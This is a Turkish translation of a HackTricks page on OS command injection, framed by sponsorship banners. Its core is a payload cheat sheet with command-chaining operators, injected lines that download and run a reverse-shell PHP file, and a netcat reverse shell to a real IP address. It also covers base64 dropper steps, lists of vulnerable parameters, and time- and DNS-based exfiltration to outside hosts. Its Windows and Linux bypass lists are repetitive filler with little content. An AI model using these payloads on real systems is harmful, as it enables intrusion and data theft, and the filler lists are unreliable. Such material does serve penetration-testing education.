# Komut Enjeksiyonu
htARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile sıfırdan kahraman olmak için AWS hackleme öğrenin!
HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
Dünyanın en gelişmiş topluluk araçları tarafından desteklenen **Trickest** kullanarak kolayca iş akışları oluşturun ve otomatikleştirin.\
Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## Komut Enjeksiyonu Nedir?
**Komut enjeksiyonu**, bir saldırganın bir uygulamanın barındırıldığı sunucuda keyfi işletim sistemi komutlarını çalıştırmasına izin verir. Sonuç olarak, uygulama ve tüm verileri tamamen tehlikeye atılabilir. Bu komutların çalıştırılması genellikle saldırganın yetkisiz erişim veya kontrol elde etmesine olanak tanır ve uygulamanın ortamı ve alt sistem üzerinde kontrol sağlar.
### Bağlam
**Girdinizin nereye enjekte edildiğine** bağlı olarak, komutlardan önce alıntılanan bağlamı sonlandırmak için (`"` veya `'`) kullanmanız gerekebilir.
## Komut Enjeksiyonu/Çalıştırma
```bash
#Both Unix and Windows supported
ls||id; ls ||id; ls|| id; ls || id # Execute both
ls|id; ls |id; ls| id; ls | id # Execute both (using a pipe)
ls&&id; ls &&id; ls&& id; ls && id # Execute 2º if 1º finish ok
ls&id; ls &id; ls& id; ls & id # Execute both but you can only see the output of the 2º
ls %0A id # %0A Execute both (RECOMMENDED)
#Only unix supported
`ls` # ``
$(ls) # $()
ls; id # ; Chain commands
ls${LS_COLORS:10:1}${IFS}id # Might be useful
#Not executed but may be interesting
> /var/www/html/out.txt #Try to redirect the output to a file
< /etc/passwd #Try to send some input to the command
```
### **Sınırlama** Atlamaları
Eğer bir Linux makinesi içinde **keyfi komutlar çalıştırmaya** çalışıyorsanız, bu **Atlamalar** hakkında okumak isteyebilirsiniz:
{% content-ref url="../linux-hardening/useful-linux-commands/bypass-bash-restrictions.md" %}
[bypass-bash-restrictions.md](../linux-hardening/useful-linux-commands/bypass-bash-restrictions.md)
{% endcontent-ref %}
### **Örnekler**
```
vuln=127.0.0.1 %0a wget https://web.es/reverse.txt -O /tmp/reverse.php %0a php /tmp/reverse.php
vuln=127.0.0.1%0anohup nc -e /bin/bash 51.15.192.49 80
vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod 744 /tmp/pay; /tmp/pay
```
### Parametreler
İşte kod enjeksiyonu ve benzeri RCE zafiyetlerine karşı savunmasız olabilecek en üst 25 parametre (kaynak: [link](https://twitter.com/trbughunters/status/1283133356922884096)):
```plaintext
1. `$_GET`
2. `$_POST`
3. `$_REQUEST`
4. `$_COOKIE`
5. `$_FILES`
6. `$_SERVER`
7. `$_ENV`
8. `$_SESSION`
9. `$_GLOBALS`
10. `$_SERVER['HTTP_COOKIE']`
11. `$_SERVER['HTTP_USER_AGENT']`
12. `$_SERVER['HTTP_REFERER']`
13. `$_SERVER['HTTP_ACCEPT']`
14. `$_SERVER['HTTP_ACCEPT_LANGUAGE']`
15. `$_SERVER['HTTP_ACCEPT_ENCODING']`
16. `$_SERVER['HTTP_ACCEPT_CHARSET']`
17. `$_SERVER['HTTP_CONNECTION']`
18. `$_SERVER['HTTP_HOST']`
19. `$_SERVER['HTTP_X_FORWARDED_FOR']`
20. `$_SERVER['HTTP_X_FORWARDED_HOST']`
21. `$_SERVER['HTTP_X_FORWARDED_SERVER']`
22. `$_SERVER['HTTP_X_FORWARDED_PROTO']`
23. `$_SERVER['HTTP_X_REAL_IP']`
24. `$_SERVER['HTTP_X_REQUESTED_WITH']`
25. `$_SERVER['HTTP_ORIGIN']`
```
```
?cmd={payload}
?exec={payload}
?command={payload}
?execute{payload}
?ping={payload}
?query={payload}
?jump={payload}
?code={payload}
?reg={payload}
?do={payload}
?func={payload}
?arg={payload}
?option={payload}
?load={payload}
?process={payload}
?step={payload}
?read={payload}
?function={payload}
?req={payload}
?feature={payload}
?exe={payload}
?module={payload}
?payload={payload}
?run={payload}
?print={payload}
```
### Zaman tabanlı veri sızdırma
Veri çıkarma: karakter karakter
```
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
real 0m5.007s
user 0m0.000s
sys 0m0.000s
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi
real 0m0.002s
user 0m0.000s
sys 0m0.000s
```
### DNS tabanlı veri dışa aktarma
`https://github.com/HoLyVieR/dnsbin` adresinde bulunan araç temel alınarak dnsbin.zhack.ca üzerinde barındırılmaktadır.
```
1. Go to http://dnsbin.zhack.ca/
2. Execute a simple 'ls'
for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
```
```
$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)
```
Windows için filtreleme atlatma yöntemleri:
1. Komut enjeksiyonu: Filtrelenmiş komutları çalıştırmak için komut enjeksiyonu kullanabilirsiniz. Bu, filtreleri atlatmanın etkili bir yoludur.
2. Karakter kodlaması: Filtrelenmiş karakterleri atlatmak için karakter kodlaması kullanabilirsiniz. Örneğin, bir komutu çalıştırmak için ASCII veya Unicode karakterlerini kullanabilirsiniz.
3. Komut zincirleme: Birden fazla komutu birleştirerek filtreleri atlayabilirsiniz. Bu, filtrelenmiş komutları çalıştırmak için etkili bir yöntemdir.
4. Yorumlama karakterleri: Filtrelenmiş komutları çalıştırmak için yorumlama karakterlerini kullanabilirsiniz. Örneğin, "#" veya "//" gibi karakterler filtreleri atlamak için kullanılabilir.
5. Dosya uzantıları: Filtrelenmiş komutları çalıştırmak için dosya uzantılarını kullanabilirsiniz. Örneğin, ".bat" veya ".cmd" gibi uzantılar filtreleri atlamak için kullanılabilir.
6. Çift tırnaklar: Filtrelenmiş komutları çalıştırmak için çift tırnakları kullanabilirsiniz. Bu, filtreleri atlamak için etkili bir yöntemdir.
7. Boşlukları atlatma: Filtrelenmiş komutları çalıştırmak için boşlukları atlayabilirsiniz. Örneğin, komutları birleştirerek veya komutları çift tırnaklar içine alarak boşlukları atlayabilirsiniz.
8. Komut parametreleri: Filtrelenmiş komutları çalıştırmak için komut parametrelerini kullanabilirsiniz. Bu, filtreleri atlamak için etkili bir yöntemdir.
9. Alternatif komutlar: Filtrelenmiş komutları çalıştırmak için alternatif komutları kullanabilirsiniz. Örneğin, "powershell" veya "cmd.exe" gibi alternatif komutlar filtreleri atlamak için kullanılabilir.
10. Çevre değişkenleri: Filtrelenmiş komutları çalıştırmak için çevre değişkenlerini kullanabilirsiniz. Bu, filtreleri atlamak için etkili bir yöntemdir.
#### Linux
Linux için filtreleme atlatma yöntemleri:
1. Komut enjeksiyonu: Filtrelenmiş komutları çalıştırmak için komut enjeksiyonu kullanabilirsiniz. Bu, filtreleri atlatmanın etkili bir yoludur.
2. Karakter kodlaması: Filtrelenmiş karakterleri atlatmak için karakter kodlaması kullanabilirsiniz. Örneğin, bir komutu çalıştırmak için ASCII veya Unicode karakterlerini kullanabilirsiniz.
3. Komut zincirleme: Birden fazla komutu birleştirerek filtreleri atlayabilirsiniz. Bu, filtrelenmiş komutları çalıştırmak için etkili bir yöntemdir.
4. Yorumlama karakterleri: Filtrelenmiş komutları çalıştırmak için yorumlama karakterlerini kullanabilirsiniz. Örneğin, "#" veya "//" gibi karakterler filtreleri atlamak için kullanılabilir.
5. Dosya uzantıları: Filtrelenmiş komutları çalıştırmak için dosya uzantılarını kullanabilirsiniz. Örneğin, ".sh" veya ".bash" gibi uzantılar filtreleri atlamak için kullanılabilir.
6. Çift tırnaklar: Filtrelenmiş komutları çalıştırmak için çift tırnakları kullanabilirsiniz. Bu, filtreleri atlamak için etkili bir yöntemdir.
7. Boşlukları atlatma: Filtrelenmiş komutları çalıştırmak için boşlukları atlayabilirsiniz. Örneğin, komutları birleştirerek veya komutları çift tırnaklar içine alarak boşlukları atlayabilirsiniz.
8. Komut parametreleri: Filtrelenmiş komutları çalıştırmak için komut parametrelerini kullanabilirsiniz. Bu, filtreleri atlamak için etkili bir yöntemdir.
9. Alternatif komutlar: Filtrelenmiş komutları çalıştırmak için alternatif komutları kullanabilirsiniz. Örneğin, "bash" veya "sh" gibi alternatif komutlar filtreleri atlamak için kullanılabilir.
10. Çevre değişkenleri: Filtrelenmiş komutları çalıştırmak için çevre değişkenlerini kullanabilirsiniz. Bu, filtreleri atlamak için etkili bir yöntemdir.
```
powershell C:**2\n??e*d.*? # notepad
@^p^o^w^e^r^shell c:**32\c*?c.e?e # calc
```
#### Linux
{% content-ref url="../linux-hardening/useful-linux-commands/bypass-bash-restrictions.md" %}
[bypass-bash-restrictions.md](../linux-hardening/useful-linux-commands/bypass-bash-restrictions.md)
{% endcontent-ref %}
## Brute-Force Tespit Listesi
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_injection.txt" %}
## Referanslar
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection)
* [https://portswigger.net/web-security/os-command-injection](https://portswigger.net/web-security/os-command-injection)
AWS hacklemeyi sıfırdan kahramanla öğreninhtARTE (HackTricks AWS Red Team Expert)!
HackTricks'i desteklemenin diğer yolları:
* Şirketinizi HackTricks'te **reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna **PR göndererek** paylaşın.
\
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\
Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}